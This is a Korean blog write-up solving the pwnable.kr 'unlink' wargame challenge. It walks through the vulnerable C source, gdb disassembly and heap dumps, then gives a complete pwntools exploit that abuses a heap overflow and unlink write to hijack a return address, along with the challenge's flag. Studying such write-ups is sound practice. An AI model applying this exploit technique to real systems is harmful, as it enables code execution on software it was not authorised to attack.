본문 바로가기

CTF_Write_UP/pwnable.kr

[pwnable.kr] unlink

시작

안녕하세요!! :D

정보보안산업기사 필기가 1주일밖에 남지 않았지만.. 포너블은 쉬면 금방 까먹잖아요?? ㅎㅎ

무슨 문젤 풀까 고민하다가 오랜만에 pwnable.kr 들어가보니 딱!! unlink가 있었습니다.

안 그래도 heap 영역 공부하다가 끊긴 느낌이라 찝찝했는데

이 친구 풀면서 정리하려고 해요.

시작해보죠!!

Write UP

바이너리를 실행해봐요.

root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_unlink# ./unlink
here is stack address leak: 0xfffa8e54
here is heap address leak: 0x93f2410
now that you have leaks, get shell!
aaaa

스택이랑 힙 주소 하나를 던져주고 쉘을 따라고 합니다.

별거 없는 듯 하니 바로 코드를 보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

우리가 알고 있는 unsafe unlink, Double Free bug 취약점은 동적 영역을 할당 후 free를 연속적으로 행할 때 나타나죠?

그런데 이 바이너리에선 사용자 정의 함수로 unlink를 선언하고

B 청크에 unlink를 먹여버렸어요.

A - B - C가 더블 링크드 리스트로 묶이기 때문에 unlink(B)를 실행하면 A의 fd와 C의 bk가 덮이면서

B와의 연결이 끊어지게 돼요.

gets()에 의해 A 청크에서 BOF가 터지고, 여기서 B의 fd, bk값을 조작할 수 있으니깐

특정 함수의 got를 덮거나 스택을 어찌어찌 조작해서 shell() 함수로 넘기면 끝이겠네요.

어셈블리어로 뜯어봅시다!

.
.
0x080485d7 <+168>:   add    esp,0x10
   0x080485da <+171>:   mov    eax,DWORD PTR [ebp-0x14]
   0x080485dd <+174>:   add    eax,0x8
   0x080485e0 <+177>:   sub    esp,0xc
   0x080485e3 <+180>:   push   eax
   0x080485e4 <+181>:   call   0x8048390 <gets@plt>
   0x080485e9 <+186>:   add    esp,0x10
   0x080485ec <+189>:   sub    esp,0xc
   0x080485ef <+192>:   push   DWORD PTR [ebp-0xc]
   0x080485f2 <+195>:   call   0x8048504 <unlink>
   0x080485f7 <+200>:   add    esp,0x10
   0x080485fa <+203>:   mov    eax,0x0
   0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:   leave
   0x08048603 <+212>:   lea    esp,[ecx-0x4]
   0x08048606 <+215>:   ret
End of assembler dump.

main의 주절주절한 부분은 다 짤라버리고, gets()unlink() 부분입니다.

gdb-peda$ pd unlink
Dump of assembler code for function unlink:
   0x08048504 <+0>:     push   ebp
   0x08048505 <+1>:     mov    ebp,esp
   0x08048507 <+3>:     sub    esp,0x10
   0x0804850a <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x0804850d <+9>:     mov    eax,DWORD PTR [eax+0x4]
   0x08048510 <+12>:    mov    DWORD PTR [ebp-0x4],eax
   0x08048513 <+15>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048516 <+18>:    mov    eax,DWORD PTR [eax]
   0x08048518 <+20>:    mov    DWORD PTR [ebp-0x8],eax
   0x0804851b <+23>:    mov    eax,DWORD PTR [ebp-0x8]
   0x0804851e <+26>:    mov    edx,DWORD PTR [ebp-0x4]
   0x08048521 <+29>:    mov    DWORD PTR [eax+0x4],edx
   0x08048524 <+32>:    mov    eax,DWORD PTR [ebp-0x4]
   0x08048527 <+35>:    mov    edx,DWORD PTR [ebp-0x8]
   0x0804852a <+38>:    mov    DWORD PTR [eax],edx
   0x0804852c <+40>:    nop
   0x0804852d <+41>:    leave
   0x0804852e <+42>:    ret
End of assembler dump.

unlink() 함수입니다.

과정을 하나하나 따라가보면 ebp-0x4 위치에 B의 bk값, ebp-0x8 위치에 B의 fd값이 들어가요.

힙 영역의 메모리 맵도 볼까요?

gdb-peda$ x/20wx 0x812e410
0x812e410:      0x0812e440      0x00000000      0x61616161      0x00000000
0x812e420:      0x00000000      0x00000019      0x0812e440      0x0812e410
0x812e430:      0x00000000      0x00000000      0x00000000      0x00000019
0x812e440:      0x00000000      0x0812e410      0x00000000      0x00000000
0x812e450:      0x00000000      0x00020bb1      0x00000000      0x00000000

prev_size와 size 필드가 안보이네요?! 바로 청크의 fd, bk값이 들어있는 것을 알 수 있습니다.

   0x0804851b <+23>:    mov    eax,DWORD PTR [ebp-0x8]
   0x0804851e <+26>:    mov    edx,DWORD PTR [ebp-0x4]
   0x08048521 <+29>:    mov    DWORD PTR [eax+0x4],edx

이 부분을 보면 fd + 4 = bk 연산을 확인할 수 있네요.

   0x08048524 <+32>:    mov    eax,DWORD PTR [ebp-0x4]
   0x08048527 <+35>:    mov    edx,DWORD PTR [ebp-0x8]
   0x0804852a <+38>:    mov    DWORD PTR [eax],edx

마찬가지로 bk = fd 연산이 보입니다.

따라서!! 이 바이너리의 unlink 함수는 fd + 4 = bk, bk = fd 연산을 수행합니다.

leak 되는 힙 영역에 shell()로 뛰는 쉘코드를 넣고 fd에 ret 값을 넣어주려고 했더니..

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

ㅎㅎ.. NX.. 다른 방법을 찾아야겠네요.

   0x080485f2 <+195>:   call   0x8048504 <unlink>
   0x080485f7 <+200>:   add    esp,0x10
   0x080485fa <+203>:   mov    eax,0x0
   0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:   leave
   0x08048603 <+212>:   lea    esp,[ecx-0x4]
   0x08048606 <+215>:   ret

다시, main의 에필로그입니다.

leave ret이 바로 나오는 것이 아니라, ecx 레지스터를 이용해서 스택을 정리하네요.

main+208 부분부터 보면 ecx에 ebp-0x4 값을 넣어주고

ecx-0x4에 들어있는 값으로 ret이 이루어지는 것을 확인할 수 있습니다.

그렇다면!! ebp-0x4 영역에 shell()을 가리키는 포인터 + 4의 값이 들어간다면 익스가 성공하겠네요.

이 포인터는 힙 영역의 data 부분에 shell()의 주소를 써주면 만들 수 있습니다.

이제 ebp-0x4에 값을 넣어야 하는데..

unlink 매크로를 이용해 원하는 곳에 값을 쓸 수 있죠?? fd+4=bk, bk=fd 연산을 이용해서요!!

먼저 leak 되는 스택 주소와 ebp-0x4가 얼마나 차이나나 보겠습니다.

here is stack address leak: 0xffa95454
here is heap address leak: 0x9a1e410
now that you have leaks, get shell!
aaaa
.
.

gdb-peda$ x/wx $ebp-0x4
0xffa95464:     0xffa95480

leak되는 스택 주소 + 0x10 = ebp-0x4 영역이네요.

fd엔 leak되는 스택 주소 + 0xc를 넣어줍시다. fd + 4 = bk니까요!!

bk엔 leak되는 힙 주소 + 0x8 + 0x4 값을 주겠습니다.

8만큼 가면 data 영역에 접근할 수 있고, ecx-0x4 연산 때문에 4만큼을 더 주는거에요.

from pwn import *

p = process("/home/unlink/unlink")

#context.log_level = "debug"

shell = 0x80484eb

payload = ""

p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recvuntil("\n"), 16)
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recvuntil("\n"), 16)

log.info(hex(stack_addr))
log.info(hex(heap_addr))

payload += p32(shell)
payload += "\x90" * (16 - len(payload))
payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12)

p.sendline(payload)

sleep(0.5)

p.interactive()
unlink@prowl:/tmp/powerco3e-lch$ python ex.py
[+] Starting local process '/home/unlink/unlink': pid 305283
[*] 0xffc484e4
[*] 0x8ec2410
[*] Switching to interactive mode
now that you have leaks, get shell!
$ id
uid=1094(unlink) gid=1094(unlink) egid=1095(unlink_pwn) groups=1095(unlink_pwn),1094(unlink)
$ cat /home/unlink/flag
conditional_write_what_where_from_unl1nk_explo1t

Exploit!!

마무리

NX 안 보고 쉘코드 왜 안 되는거야.. 만 생각해서 많은 시간을 날렸습니다 ㅠㅠ

unlink 취약점에 이제 좀 익숙해진 것 같네요.

힙이 친근하게 보여서 다행이지만.. 아직도 배울 게 많은 영역입니다 ㅎㅎ..

감사합니다!! :D

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] asm  (0) 2019.09.13
[pwnable.kr] horcruxes  (0) 2019.06.29
[pwnable.kr] fsb  (0) 2019.06.26
[pwnable.kr] unexploitable  (0) 2019.06.20
pwnable.kr : uaf 풀이  (0) 2019.04.18